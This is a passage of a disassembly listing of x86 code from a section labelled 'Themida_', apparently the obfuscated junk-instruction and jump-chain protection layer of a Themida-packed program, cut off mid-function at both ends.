		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_599FD8
; ---------------------------------------------------------------------------


loc_59123F:				; CODE XREF: sub_59390B+781j
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591244:				; CODE XREF: Themida_:00593303j
		mov	[esp], eax
		push	ecx
		mov	cl, dl
		jmp	loc_5A3DCE
; ---------------------------------------------------------------------------


loc_59124F:				; CODE XREF: Themida_:005A3426j
		xor	esi, eax
		jmp	loc_597D16
; ---------------------------------------------------------------------------


loc_591256:				; CODE XREF: Themida_:0059E143j
		inc	ebx
		neg	ebx
		push	eax
		mov	eax, 5F2F7236h
		xor	eax, 5E8371ACh
		jmp	loc_5938B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591269:				; CODE XREF: sub_59390B+89CBj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		mov	edi, 4
		push	6B2Eh
		mov	[esp+4+var_4], ebx
		mov	ebx, 750812h
		sub	ecx, ebx
		pop	ebx
		add	ecx, edi
		add	ecx, 750812h
		mov	edi, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_596416
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C8A4


loc_5912AA:				; CODE XREF: sub_59C8A4+27B1j
		add	eax, 75175CAFh
		jmp	loc_59CFEF
; END OF FUNCTION CHUNK	FOR sub_59C8A4
; ---------------------------------------------------------------------------


loc_5912B4:				; CODE XREF: Themida_:00598377j
		sub	ebx, ecx
		jmp	loc_5A2582
; ---------------------------------------------------------------------------


loc_5912BB:				; CODE XREF: Themida_:0059D898j
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5A1ACA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_5912C3:				; CODE XREF: sub_5A3536-BA2Bj
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_5912C8:				; CODE XREF: sub_5995FC-34D5j
		neg	cl
		add	cl, 0A2h
		add	bl, cl
		pop	ecx
		sub	bl, dh
		sub	bl, 37h
		mov	edx, [esp+8+var_8]
		add	esp, 4
		xor	ch, bl
		pop	ebx
		push	small 0BF0h
		mov	word ptr [esp+2+var_4+2], ax
		push	ebx
		mov	bl, 85h
		push	ecx
		mov	cl, 0AEh
		xor	bl, cl
		jmp	loc_59DE29
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------


loc_5912F6:				; CODE XREF: Themida_:00598E90j
		mov	edx, esp
		jmp	loc_5A3ECA
; ---------------------------------------------------------------------------


loc_5912FD:				; CODE XREF: Themida_:0059C685j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_59C5CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F38


loc_591313:				; CODE XREF: sub_599F38+3064j
		push	[esp+8+var_8]
		jmp	loc_5A57CB
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------


loc_59131B:				; CODE XREF: Themida_:005935B1j
		sub	esp, 4
		jmp	loc_5A3982
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_591326:				; CODE XREF: sub_595949+76F5j
		xchg	ecx, [esp+0Ch+var_C]
		not	ecx
		xchg	ecx, [esp+0Ch+var_C]
		pop	edi
		sub	esp, 4
		jmp	loc_5955E0
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------


loc_591337:				; CODE XREF: Themida_:00592819j
		mov	[esp], esi
		push	ebx
		mov	ebx, 5845087Eh
		add	ebx, 26354680h
		sub	ebx, 7E7A4EFAh
		mov	esi, ebx
		pop	ebx
		add	[esp+4], esi
		pop	esi
		jmp	loc_5A41E4
; ---------------------------------------------------------------------------


loc_591359:				; CODE XREF: Themida_:00592E72j
		mov	edi, [esp]
		add	esp, 4
		mov	edi, esi
		pop	esi
		jmp	loc_59A913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_591367:				; CODE XREF: sub_594A8D+6BBEj
		push	edi
		push	ebp
		jmp	loc_599877
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E93C


loc_59136E:				; CODE XREF: sub_59E93C-C3BBj
		sub	ebp, eax
		pop	eax
		mov	edi, ebp
		push	[esp+8+var_8]
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_593A6C
; END OF FUNCTION CHUNK	FOR sub_59E93C
; ---------------------------------------------------------------------------


loc_591381:				; CODE XREF: Themida_:005A49DCj
		add	esp, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_5A4FA0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	429Fh
		mov	[esp], esp
		jmp	loc_597F43
; ---------------------------------------------------------------------------


loc_5913A1:				; CODE XREF: Themida_:0059EEC8j
		not	edi
		and	edi, 39BB6EDFh
		push	ebx
		mov	ebx, 2627E61h
		shr	ebx, 6
		sub	ebx, 7ED1541Bh
		push	ecx
		mov	ecx, 677F3120h
		jmp	loc_5A2B47
; ---------------------------------------------------------------------------


loc_5913C3:				; CODE XREF: Themida_:00593279j
		push	ebp
		mov	ebp, 539727B0h
		dec	ebp
		jmp	loc_590D61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5913CF:				; CODE XREF: sub_59390B+2F8Dj
		add	eax, 6E005AE2h
		mov	ecx, eax
		pop	eax
		mov	edx, [esp+0]
		add	esp, 4
		add	ecx, edi
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		add	[ebx], edx
		pop	ebx
		push	[esp-8+arg_0]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_594E54
; ---------------------------------------------------------------------------


loc_5913F6:				; CODE XREF: sub_59390B+8F3Cj
		and	esi, 6EAD2CAAh
		sub	esi, 1C6EAF95h
		sub	eax, esi
		pop	esi
		jmp	loc_593BE4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59140A:				; CODE XREF: sub_590AC5+14D4Aj
		xor	edx, 47A871B1h
		jmp	sub_59F53F
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591415:				; CODE XREF: sub_59390B+6A8Cj
		mov	esi, 5DC346CCh
		add	ebx, esi
		pop	esi
		jmp	loc_5A2D32
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_591422:				; CODE XREF: sub_59A431-4DF2j
		mov	ebx, 2B4758E4h
		push	767Ch
		jmp	loc_5A3C84
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_591431:				; CODE XREF: Themida_:0059AE15j
		mov	[esp], ebp
		jmp	loc_5A0395
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591439:				; CODE XREF: sub_59390B+2762j
		shr	edx, 7
		sub	esp, 4
		mov	[esp-8+arg_0], ebx
		jmp	loc_59EBB0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591447:				; CODE XREF: Themida_:0059BD7Cj
		push	ebp
		push	esi
		mov	esi, 54E54CF6h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	ecx, ebp
		pop	ebp
		jmp	loc_5A49EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_59145E:				; CODE XREF: sub_594D13+7AE2j
		not	eax
		jmp	loc_5A12A7
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_591465:				; CODE XREF: sub_59A431+7EDCj
		pop	[esp+0Ch+var_C]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edi
		push	ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, 2BDF7A87h
		mov	ebp, 2E31F2F4h
		sub	ebp, edx
		pop	edx
		and	ebp, 7D5F260Eh
		sub	ebp, 24B1497Bh
		shl	ebp, 8
		sub	ebp, 0A0D68900h
		mov	edi, ebp
		pop	ebp
		and	eax, edi
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		jmp	loc_59F012
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_5914BB:				; CODE XREF: sub_59EA40-4077j
		mov	edx, [esp+0]
		push	ebx
		jmp	loc_59BAB5
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5914C4:				; CODE XREF: sub_59390B+B0ACj
		xor	eax, 92DFDFB0h
		jmp	loc_5A2366
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5914CE:				; CODE XREF: Themida_:0059439Cj
		push	edx
		mov	edx, esp
		jmp	loc_5A13C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5947CA


loc_5914D6:				; CODE XREF: sub_5947CA+ABE6j
		sub	eax, 0BFA8F54Ah
		or	edi, eax
		pop	eax
		sub	edi, 1
		xor	edi, 537A7FFFh
		add	eax, edi
		mov	edi, [esp+0Ch+var_C]
		jmp	sub_5A21DE
; END OF FUNCTION CHUNK	FOR sub_5947CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5914F4:				; CODE XREF: sub_59390B+5438j
		pop	eax
		pop	esi
		pop	ebp
		jmp	loc_59B9A3
; ---------------------------------------------------------------------------


loc_5914FC:				; CODE XREF: sub_59390B+C9Dj
		xor	esi, [esp-14h+arg_C]
		xor	[esp-14h+arg_C], esi
		xor	esi, [esp-14h+arg_C]
		mov	esp, [esp-14h+arg_C]
		jmp	loc_5957E4
; ---------------------------------------------------------------------------


loc_59150D:				; CODE XREF: sub_59390B+146Cj
		mov	[esp-14h+arg_C], ecx
		push	edx
		mov	edx, 24h
		push	eax
		push	edx
		sub	[esp-8+arg_0], 6E005AE2h
		jmp	loc_59CBD8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591524:				; CODE XREF: Themida_:0059FD0Cj
		mov	ebp, 4FE842C0h
		jmp	loc_596447
; ---------------------------------------------------------------------------


loc_59152E:				; CODE XREF: Themida_:0059EB1Bj
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_59E77B
; ---------------------------------------------------------------------------


loc_591540:				; CODE XREF: Themida_:005A0C71j
		pop	edx
		jmp	loc_59E12A
; ---------------------------------------------------------------------------


loc_591546:				; CODE XREF: Themida_:00594567j
		push	eax
		jmp	loc_5A0979
; ---------------------------------------------------------------------------


loc_59154C:				; CODE XREF: Themida_:0059B93Dj
		add	esp, 4
		add	ebx, eax
		jmp	loc_5A1615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591556:				; CODE XREF: sub_59390B+A59j
		pop	esp
		add	ecx, 2
		jmp	loc_594E1D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59155F:				; CODE XREF: sub_59A75E-95E0j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		push	eax
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		jmp	loc_5A30F7
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_59157D:				; CODE XREF: Themida_:0059EF11j
		push	3BD1h
		mov	[esp], edi
		push	ebx
		mov	ebx, 6740112Fh
		mov	edi, 0A7BEFCB4h
		push	ebx
		mov	ebx, 0A5524DEh
		add	edi, 3D073F12h
		add	edi, ebx
		sub	edi, 3D073F12h
		pop	ebx
		jmp	loc_5A34F6
; ---------------------------------------------------------------------------


loc_5915AA:				; CODE XREF: Themida_:0059DB8Ej
		add	eax, edx
		jmp	loc_59B602
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5915B1:				; CODE XREF: sub_59390B+B39Fj
		mov	edx, 46FE2D63h
		jmp	loc_59F3E4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5915BB:				; CODE XREF: Themida_:0059F680j
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5957D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21DE


loc_5915CA:				; CODE XREF: sub_5A21DE-BFDj
		push	ecx
		mov	ecx, 4
		push	ecx
		pop	edx
		jmp	loc_59712E
; END OF FUNCTION CHUNK	FOR sub_5A21DE
; ---------------------------------------------------------------------------


loc_5915D7:				; CODE XREF: Themida_:0059BE71j
		push	3268h
		mov	[esp], edx
		mov	edx, 0D6B012FFh
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 30694815h
		shl	edi, 4
		push	ecx
		push	edx
		mov	edx, 4DAA6A83h
		mov	ecx, 0FF59B2D2h
		jmp	loc_59342F
; ---------------------------------------------------------------------------


loc_59160C:				; CODE XREF: Themida_:0059A8E0j
		push	esi
		mov	esi, 5580362Ah
		sub	esi, 79C04DC7h
		sub	edi, esi
		pop	esi
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_59C115
; ---------------------------------------------------------------------------


loc_591625:				; CODE XREF: Themida_:005A578Dj
		shl	edi, 7
		xor	edi, 0EA145C35h
		xor	esi, edi
		jmp	loc_5939D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_591635:				; CODE XREF: sub_5A17BF-109ADj
		push	34ADh
		mov	[esp+0Ch+var_C], esi
		jmp	loc_592BEA
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591642:				; CODE XREF: sub_59390B+991Bj
		not	al
		shr	al, 4
		shl	al, 8
		sub	al, 73h
		jmp	loc_59F5D2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591651:				; CODE XREF: Themida_:00594C46j
		not	esi
		xor	esi, 286441B9h
		add	eax, esi
		pop	esi
		jmp	loc_5A28CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_591661:				; CODE XREF: sub_592E1C+4j
		push	eax
		jmp	loc_59AB17
; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5969DC


loc_591667:				; CODE XREF: sub_5969DC+67A5j
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp-4+arg_0], esp
		push	esi
		mov	esi, 4
		jmp	sub_59F401
; END OF FUNCTION CHUNK	FOR sub_5969DC
; ---------------------------------------------------------------------------


loc_591681:				; CODE XREF: Themida_:005A18F9j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	6C30h
		jmp	loc_59CB3C
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esp
		push	edx
		jmp	loc_593B4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_5916A1:				; CODE XREF: sub_5A085D-AD24j
		sub	esi, ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5964E0
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------


loc_5916B1:				; CODE XREF: Themida_:00597030j
		sub	esp, 4
		jmp	loc_597FB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5916B9:				; CODE XREF: sub_5A4CDD-6FECj
		dec	ecx
		xor	ecx, 83CA8482h
		xor	eax, ecx
		jmp	loc_5A2E55
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5916C7:				; CODE XREF: sub_59390B+11BA1j
		or	dh, 0C8h
		push	edx
		not	byte ptr [esp-8+arg_0+1]
		pop	edx
		sub	dh, 0A4h
		push	3CA8h
		mov	[esp-8+arg_0], ecx
		mov	ch, 0Eh
		add	ch, 0D4h
		sub	dh, ch
		pop	ecx
		sub	bl, dh
		jmp	loc_591CCA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5916EA:				; CODE XREF: Themida_:00599DDBj
		push	edx
		mov	edx, 32804FA2h
		and	edx, 1A3F1C94h
		shl	edx, 6
		add	edx, 91B614D9h
		push	edx
		sub	dword ptr [esp], 702C54FAh
		pop	eax
		add	eax, 702C54FAh
		mov	edx, [esp]
		add	esp, 4
		add	eax, 0EE46CB2Bh
		sub	esi, 4399290Bh
		add	esi, eax
		jmp	loc_598A5C
; ---------------------------------------------------------------------------


loc_591725:				; CODE XREF: Themida_:005A0129j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5953DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591730:				; CODE XREF: sub_59390B+120BCj
		xor	ebx, [esp-0Ch+arg_4]
		xor	[esp-0Ch+arg_4], ebx
		xor	ebx, [esp-0Ch+arg_4]
		mov	esp, [esp-0Ch+arg_4]
		or	byte ptr [esp-0Ch+arg_4], al
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_591745	proc near		; CODE XREF: sub_59390B+7E20j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591FB2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598190 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A04D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059A6A4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D239 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E55F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0D16 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A1A82 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 43487A37h
		push	ecx
		mov	ecx, 0BCB785CDh
		add	edx, ecx
		jmp	loc_59A04D
sub_591745	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_591760:				; CODE XREF: Themida_:0059BC13j
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 38530135h
		and	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 223424E0h
		neg	ebp
		shr	ebp, 3
		jmp	loc_598408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_591791:				; CODE XREF: sub_59E918+C09j
		not	bl
		push	ecx
		mov	ch, 0B6h
		xor	ch, 0EBh
		or	bl, ch
		pop	ecx
		add	bl, 99h
		xor	bl, 0FBh
		sub	al, bl
		jmp	loc_5A0100
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5917A9:				; CODE XREF: sub_59FD45-6255j
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_59D4ED
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_5917B2:				; CODE XREF: sub_59654E+8291j
		push	esi
		jmp	loc_59686D
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5917B8:				; CODE XREF: sub_59390B+1C65j
		push	23055B3Fh
		pop	edx
		and	edx, 156B46BBh
		jmp	loc_5A35B9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5917C9:				; CODE XREF: sub_5932F7+7CEEj
		pop	ebx
		sub	esi, 0F39304ABh
		push	esi
		pop	ebp
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		shr	ebp, 3
		push	ebx
		jmp	loc_59ED01
; END OF FUNCTION CHUNK	FOR sub_5932F7

; =============== S U B	R O U T	I N E =======================================



sub_5917E1	proc near		; CODE XREF: sub_5971C0+4E57j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C9C9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3E51 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_5A3E51
sub_5917E1	endp

; ---------------------------------------------------------------------------


loc_5917FC:				; CODE XREF: Themida_:0059BE27j
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, 296B730Bh
		sub	ecx, esi
		pop	esi
		push	esi
		mov	esi, 684B1220h
		or	esi, 4E896E9Eh
		sub	esi, 4E714B8Eh
		xor	esi, 3C72251Fh
		add	ecx, esi
		pop	esi
		sub	ecx, edi
		jmp	loc_5A0F02
; ---------------------------------------------------------------------------


loc_59182B:				; CODE XREF: Themida_:0059EB3Ej
		add	esp, 4
		jmp	loc_5A1D3C
; ---------------------------------------------------------------------------


loc_591836:				; CODE XREF: Themida_:005A1A53j
		inc	esi
		neg	esi
		sub	esi, 554D519Dh
		sub	edi, esi
		jmp	loc_5A4370
; ---------------------------------------------------------------------------


loc_591846:				; DATA XREF: Themida_:005908D9o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_591854:				; CODE XREF: sub_594A8D+2E74j
		add	ebx, 54EA3E07h
		add	ebx, eax
		push	ebp
		mov	ebp, 0B3E7C2Ch
		inc	ebp
		jmp	loc_5A596B
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------


loc_591868:				; CODE XREF: Themida_:005997B6j
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	dl, 35h
		neg	dl
		jmp	loc_5932FE
; ---------------------------------------------------------------------------


loc_591885:				; CODE XREF: Themida_:00592780j
		mov	edx, 4
		push	edx
		sub	dword ptr [esp], 4B9F56B8h
		pop	ebp
		jmp	loc_599233
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_591898:				; CODE XREF: sub_5A2FE9-404Bj
		add	esp, 4
		add	edx, ebx
		sub	edx, 51DF4E24h
		pop	ebx
		xchg	edx, [esp+14h+var_14]
		pop	esp
		jmp	loc_599148
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5918B0:				; CODE XREF: sub_59390B+1CDj
		neg	edx
		and	edx, 1E3A3558h
		add	edx, 0F1C5CFBCh
		mov	edi, edx
		jmp	loc_59C422
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5918C5:				; CODE XREF: Themida_:005928F1j
		mov	dl, al
		jmp	loc_59A402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_5918CC:				; CODE XREF: sub_5964AF+9643j
		pop	ecx
		neg	edx
		not	edx
		sub	edx, 0D8C9B33Ch
		sub	eax, edx
		pop	edx
		jmp	loc_590B5F
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5918DF:				; CODE XREF: sub_59390B+2A85j
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_5952A6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5918EE:				; CODE XREF: Themida_:00596450j
		mov	ecx, 3EB30782h
		add	ebp, ecx
		pop	ecx
		jmp	loc_594B06
; ---------------------------------------------------------------------------


loc_5918FB:				; CODE XREF: Themida_:00594C6Ej
		not	ecx
		add	ecx, 1B9D73Ah
		add	ebx, ecx
		pop	ecx
		sub	eax, 34E868CAh
		add	eax, ebx
		add	eax, 34E868CAh
		pop	ebx
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	47Ch
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebx, 0AE803C1h
		jmp	loc_597813
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591947:				; CODE XREF: sub_59390B-35j
		xor	ebx, ebp
		pop	ebp
		add	ebx, 524942E8h
		inc	ebx
		or	ebx, 430732B5h
		push	ecx
		jmp	loc_597642
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F4F


loc_59195D:				; CODE XREF: sub_5A4F4F-129F0j
		or	edx, eax
		shl	edx, 1
		push	15BFh
		mov	[esp+4+var_4], ebx
		push	0FFFFFFFFh
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		sub	[edi+24h], ebx
		push	[esp+4+var_4]
		jmp	loc_5986CC
; END OF FUNCTION CHUNK	FOR sub_5A4F4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591982:				; CODE XREF: sub_59390B+7F7Fj
		pop	edi
		jmp	loc_5A176B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_591988:				; CODE XREF: Themida_:00594BDBj
		pop	ecx
		jmp	loc_597047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59198E:				; CODE XREF: sub_59FCCB-3BE6j
		pop	ecx
		push	cx
		push	ebx
		push	edx
		mov	dh, 8
		jmp	loc_596586
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5A3F8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5919A9:				; CODE XREF: sub_599AE1+7A9Aj
		or	eax, ecx
		pop	ecx
		neg	eax
		push	ebx
		mov	ebx, 70F8424Bh
		shl	ebx, 3
		jmp	loc_5A13DF
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5919BC:				; CODE XREF: sub_59CAFB-3BD0j
		mov	edi, esp
		add	edi, 4
		jmp	loc_59B355
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_5919C9:				; CODE XREF: sub_5A113A-DD10j
		push	esp
		jmp	loc_59A160
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------


loc_5919CF:				; DATA XREF: Themida_:005907D8o
		push	dword ptr [esp]
		pop	eax
		push	4144h
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_5A5327
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C8A4


loc_5919E9:				; CODE XREF: sub_59C8A4-6671j
		pop	ebp
		sub	ebp, ebx
		jmp	loc_59864F
; END OF FUNCTION CHUNK	FOR sub_59C8A4
; ---------------------------------------------------------------------------


loc_5919F1:				; CODE XREF: Themida_:0059A8D9j
		mov	[esp], ebp
		jmp	loc_59AFEA
; ---------------------------------------------------------------------------


loc_5919F9:				; CODE XREF: Themida_:005A5BD5j
		add	esi, eax
		jmp	loc_59621C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_591A00:				; CODE XREF: sub_5936EC+58D4j
		push	esi
		mov	esi, esp
		jmp	loc_59E1CD
; END OF FUNCTION CHUNK	FOR sub_5936EC

; =============== S U B	R O U T	I N E =======================================



sub_591A08	proc near		; CODE XREF: sub_59390B+74F4j
		push	ebp
		mov	ebp, 31D03121h
